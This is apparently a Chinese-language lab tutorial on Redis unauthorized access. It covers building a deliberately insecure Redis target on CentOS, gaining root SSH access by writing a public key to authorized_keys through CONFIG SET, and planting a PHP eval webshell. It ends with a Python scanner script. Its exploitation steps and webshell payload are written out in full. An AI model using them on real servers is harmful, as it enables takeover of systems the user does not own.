目录

Redis未授权访问漏洞原理

环境配置:CentOS下安装Redis

手工未授权访问验证

利用方式

在攻击机中使用ssh免密登陆靶机

利用漏洞写入webshell

编写脚本检测


未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露

常见的未授权漏洞:

Redis 未授权访问漏洞
MongoDB 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
宝塔 未授权访问漏洞
FTP 未授权访问漏洞
WordPress 未授权访问漏洞
Docker 未授权访问漏洞
ZooKeeper 未授权访问漏洞
CouchDB 未授权访问漏洞
Hadoop 未授权访问漏洞

Redis未授权访问漏洞原理

Redis在默认安装情况下,默认端口为6379,没有添加过防火墙信任规则,修改默认端口等防护策略,这相当于直接将 Redis服务暴露到公网上,如果设置密码认证(默认为空)的情况,会导致任意用户都可访问目标服务器--即Redis未授权访问,以及读取Redis的数据,攻击者可以在这个条件下,如果Redis是以root身份运行,利用root权限的身份写入ssh公钥,通过ssh登录目标服务器,写入webshell,拿到控制权

环境配置:CentOS下安装Redis

(1)下载官网3.2.11版本压缩包

wget http://download.redis.io/releases/redis-3.2.11.tar.gz

(2)解压缩压缩包

tar zxvf redis-3.2.11.tar.gz

(3)进入redis-3.2.11文件夹

cd redis-3.2.11

(4)执行make(这个过程可能需要一段时间),有些人会在这一步报错,如果报错原因是找不到cc命令,yum安装一下即可(命令:yum -y install gcc),不过CenOS7不自带yum,这个也得自己安装一下

make

(5)make test

等待上一步完成后,运行make test,根据回显进行debug,可能会报tcl的错误,如【You need tcl 8.5 or newer in order to run the Redis test】,如果你没有报这个就跳过,解决办法:【yum install tcl】

一直make test,直到出现如下图所示,即代表安装所需所有环境都正确

(6)配置修改

进入src目录

cd src

cp redis-server /usr/bin

cp redis.conf /etc

编辑在etc目录中的redis.conf文件

在bind 127.0.0.1前面加#,去除对localhost的绑定

继续往下,找到protected-mode no,如果你的protected-mode后的参数为yes,请改为no,这个步骤将会关闭保护模式,防止下面kali在info时报错

(7)在靶机中开启redis服务 redis-server /etc/redis.conf(下面的报错我是忽略了的,原因是关系不大)

(8)安装openssh和apache2

yum install openssh-server apache2 -y

(9)在root目录下创建一个用于存放ssh公钥的目录,可以尝试给它一个777的权限(chmod 777 /root/.ssh)

mkdir /root/.ssh

(10)以防万一你可以关闭CenOS的防火墙

【查看防火状态:systemctl status firewalld】

【暂时关闭防火墙:systemctl stop firewalld】

【永久关闭防火墙:systemctl disable firewalld】

至此Redis配置完成

手工未授权访问验证

(1)在kali上安装redis(无需修改配置,不同版本kali自带redis)

sudo apt install redis-server -y

(2)在安装Redis服务后输入redis -cli -h IP,如果目标存在此未授权访问漏洞,则连接成功

redis-cli -h 192.168.200.131

如果你redis-cli -h 192.168.200.131后出现端口无法连接或者被拒绝这种情况,你可以尝试一下把防火墙关闭了

(3)输入info查看Redis服务版本号,配置文件目录,进程ID号等等

如果你报了DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients.......这样的一个错误,你可以去靶机上检查一下是否配置protected-mode为no(上面有写),因为现在处于保护阶段

利用方式

(1)在攻击机中生成ssh公钥和私钥,密码设置为空(为空就是在生成公钥和私钥的过程中回车即可)

ssh-keygen -t rsa

(2)进入目录生成文件

进入kali的/root/.ssh目录

将公钥导入111.txt文件中

(3)将111.txt公钥导入至Redis缓存中  

(4)使用 config get dir 命令的得到redis备份的路径

(5)更改Redis备份路径为ssh公钥存放目录(一般默认是/root/.ssh)

设置上传公钥的备份文件名字为 authorized_keys

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存退出,成功写入ssh公钥到靶机

(6)输入save,后,你可以exit退出

在攻击机中使用ssh免密登陆靶机

如果你遇到了【Warning: Identity file id_rsa not accessible: No such file or directory. root@192.168.200.131's password: Permission denied, please try again.】这个问题

(1)你可以检查authorized_keys文件权限,设置为777

chmod 700 authorized_keys

(2)检查/etc/ssh/sshd_config

将#StrictModes yes

设置为StrictModes no

将#AuthorizedKeysFile .ssh/authorized_keys

设置为AuthorizedKeysFile .ssh/authorized_keys

(3)检查下防火墙和selinux状态

/usr/sbin/sestatus -v

systemctl status firewalld

(4)如果你还是没有成功,你可以去看一下在/root/.ssh下是否真的存在authorized_keys这个文件,包括它的权限

利用漏洞写入webshell

连接上redis后在卡kali输入以下命令:

 192.168.200.131:6379> config set dir /root/.ssh
OK
192.168.200.131:6379> config set dbfilename ganyu.php
OK
192.168.200.131:6379> set x "\n\n\n<?php @eval($_POST['ganyu']);?>\n\n\n"
OK
192.168.200.131:6379> save
OK
192.168.200.131:6379>

上传成功,如果上传至服务器拿控制权的话,那么像蚁剑菜刀连接一句话那样连接就行了,这里由于我的ConOS没有配置完全,就无法演示了(有人懒,但我不说是谁)  

编写脚本检测

如何验证该漏洞,或者如何发送info?

import getopt
import socket
import sys


def url_list(li):
    ss = []
    i = 0
    j = 0
    zi = []
    for s in li:
        a = s.find('-')
        i = i + 1
        if a != -1:
            ss = s.rsplit("-")
            j = i
            break
    for s in range(int(ss[0]), int(ss[1]) + 1):
        li[j - 1] = str(s)
        aa = '.'.join(li)
        zi.append(aa)
    return zi


def url_exec(url):
    i = 0
    zi = []
    group = []
    group1 = []
    group2 = []
    li = url.split('.')
    if (url.find('-') == -1):
        group.append(url)
        zi = group
    else:
        for s in li:
            a = s.find('-')
            if a != -1:
                i = i + 1
        zi = url_list(li)
        if i > 1:
            for li in zi:
                zz = url_list(li.split('.'))
                for ki in zz:
                    group.append(ki)
                zi = group
                i = i - 1
        if i > 1:
            for li in zi:
                zzz = url_list(li.split('.'))
                for ki in zzz:
                    group1.append(ki)
            zi = group1
            i = i - 1
        if i > 1:
            for li in zi:
                zzzz = url_list(li.split('.'))
                for ki in zzzz:
                    group2.append(ki)
            zi = group2
    return zi


def output_exec(output, type):
    print(output[0] + ':' + type)
    banner()


def redis_unathored(url, port):
    result = []
    s = socket.socket()
    # 如何发送info命令确定是否存在这个漏洞?--> info --> b'*1\r\n$4\r\ninfo\r\n'
    # Redis允许客户端以TCP方式连接,默认6379端口,传输数据都以\r\n结尾和间隔
    '''
     请求格式
     *<number of arguments>\r\n$<number of bytes of argument 1>\r\n<argument data>\r\n 
     数据交互:
     *1
     $4
     info
    '''
    payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"
    socket.setdefaulttimeout(0)   # 设置默认超时时间
    for ip in url:
        try:
            s.connect((ip, int(port)))
            # 发送完整的TCP数据,成功返回None,失败pass
            s.sendall(payload.encode())
            # 接收目标主机返回的数info,当返回的数据带有'redis version'时,表明存在该漏洞,其实不一定是redis version,随便什么特征都行
            recvdata = s.recv(1024).decode()
            if recvdata and 'redis_version' in recvdata:
                result.append(str(ip) + ':' + str(port) + ':' + 'Existence √')
        except:
            pass
            result.append(str(ip) + ':' + str(port) + ':' + 'Existence X')
        s.close()
    return result


def Scan(url, type, port):
    if type == 'Redis':
        print(url)
        output = redis_unathored(url_exec(url), port)
        output_exec(output, type)


def banner():
    print('*' * 30)


def serverhelp():
    print('-h --help help')
    print('-p --port 端口')
    print('-u --url IP、域名')
    print('-s --type Redis')
    sys.exit()


# 利用getopt.getopt()函数处理用户输入的命令,将ip端口服务传入Scan
def Redisstart(argv):
    url = ""
    type = ""
    if len(sys.argv) < 2:
        print("-h 查看帮助信息 \n")
        sys.exit()
    try:
        opts, args = getopt.getopt(argv, "-u:-p:-s:-h")
    except getopt.GetoptError:
        print('Error')
        sys.exit()
    for opt, arg in opts:
        if opt == '-u':
            url = arg
        elif opt == '-s':
            type = arg
        elif opt == '-p':
            port = arg
        elif opt == '-h':
            print(serverhelp())
    Scan(url, type, port)


if __name__ == '__main__':
    try:
        Redisstart(sys.argv[1:])  # 接收用户输入的命令,[1:]表示从第一个命令行参数到最后一个命令行参数
        # ['-u', '192.168.200.131', '-p', '6379', '-s', 'Redis']
    except KeyboardInterrupt:
        print('interrupted by user, killing all threads...')

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐